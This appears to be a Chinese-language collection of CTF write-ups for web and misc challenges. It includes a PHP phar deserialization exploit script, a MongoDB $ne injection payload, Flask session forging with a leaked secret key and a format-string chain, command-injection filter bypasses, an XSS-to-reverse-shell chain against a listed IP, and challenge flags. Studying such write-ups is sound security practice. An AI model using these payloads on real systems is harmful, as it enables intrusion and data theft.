解题思路 先走了正常流程走了一下注册,登陆,输入邀请码,提交后被返回“不是有效的24位优惠码”,先尝试了一边base32加密,提交后返回“想骗我不是有效的优惠码”,抓包尝试修改cookie伪造优惠码等均失败。扫描目录发现存在源码泄露,如下:
发现是个php伪随机数
下一步就是要想办法获得优惠码对应的种子从而生产24位的优惠码,通过对返回包报文分析可以知道是一个PHP/7.2.9版本的php的linux,结合开源的种子爆破程序php_mt_seed的参数格式和获得的优惠码逆出对应的随机数序列。 在这里的时候先尝试了整个15位的爆破,很遗憾结果都是Found 0。在各种尝试更换环境无果之后,截取优惠码前七位生产随机数序列再进行爆破。
成功爆出种子,版本7.1.0+,用该种子在ubuntu16.04+php7.1+的环境下进行重新播种,长度改成24位重新生产优惠码,提交后成功过掉优惠码这一关,进入命令执行,使用%0a过掉第一层正则,之后使用tac命令代替cat,flag进行base64加密反解,成功绕过执行拿到flag
PHPINFO信息解读+Mongodb注入 通过目录测试发现存在info.php,内含phpinfo信息,其中可发现网站使用MongoDB数据库
在登陆页面进行抓包发现其登陆采用GET方式传值,处理在check.php页面,故从此处进行构造注入,通过MongoDB的逻辑操作$ne与$regex构造username和password进行盲注测试,发现判断成功返回Nice!But it is not the real passwd判断失败则返回username or password incorrect。最终当语句为判断结束,密码为skmun。
判断结束去掉regex逻辑操作符,最终payload:check.php?username[$ne]=test&password=skmun&vertify=gzkm即可获得Flag。
解题思路 exp:
<?php
class Test
{
public $file;
public $params=array('source'=>'/var/www/html/f1ag.php');
}
class Show
{
public $source;
public $str;
}
class C1e4r{
public $test;
public $str;
}
$a = new Test();
$b = new Show();
$b->str['str'] = $a;
$c = new C1e4r();
$c->str = $b;
$phar = new Phar("Shadow.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
copy('exp.phar','exp.gif');
?>
解题思路 /source查看目录结构 /static?file=任意文件读取 proc/self/mounts中发现/home/ctf/web_assli3fasdf路径,但是读不了 /proc/self/cwd/app/views.py 通过当前进程工作目录可读 init.py:
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db
def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app
views.py
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0
@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)
思路很明确,通过key伪造session,下面格式化字符串漏洞 伪造session:(具体参照flask的session实现) from itsdangerous import * s=URLSafeTimedSerializer(key, salt="cookie-session",signer_kwargs={"key_derivation":"hmac","digest_method":"sha1"}) o=s.loads(data) 改内容 s.dumps(o) 伪造好后,field参数处写构造的格式化字符串漏洞的继承链,exp如下(膜vk) field=class__._base_.query_class.get_or_404.__globals[current_app].jinja_env.globals[g].flag
解题思路 http://118.89.56.208:6324/index.php
看到审核就知道是xss了,先过check,然后百度过check的方法
然后插入xsspayload: 发现 后台有个 /admin/a0a.php?cmd=whoami的页面,一看是个命令执行,直接反弹shell
查看 与flag用户相关的进程:
一个 tar 让我们感觉到异常,之前还发现了一个4f0xxxxxxxxxxx的目录
通过百度那串tar 字符串和 这里的z.tar.gz 大概就知道是命令执行了。 https://www.freebuf.com/articles/system/176255.html 这个命令执行感觉跟 orange那个差不多是一个意思。 通过这里上传文件 http://118.89.56.208:6324/4f0a5ead5aef34138fcbf8cf00029e7b/ 弹回flag的shell读取flag。
解题思路 用winhex打开可以在文件尾看到一半,
再将高度改到800就可以看到另一半flag。
flag: flag{b2b85ec7ec8cc4771b8d055aee5f82b0}
解题思路 用notepd++打开看到flag。
flag:SWPUCTF{Th1s_i3_e4sy_pc@p}
解题思路 低头,看键盘。。。 99代表字母键上面那排数字的9的往下面数2个位置的字母就是明文。。。。依次类推,一个数字的就是往下面数一个。
最后flag:swpuctf{lookatthekeyboard}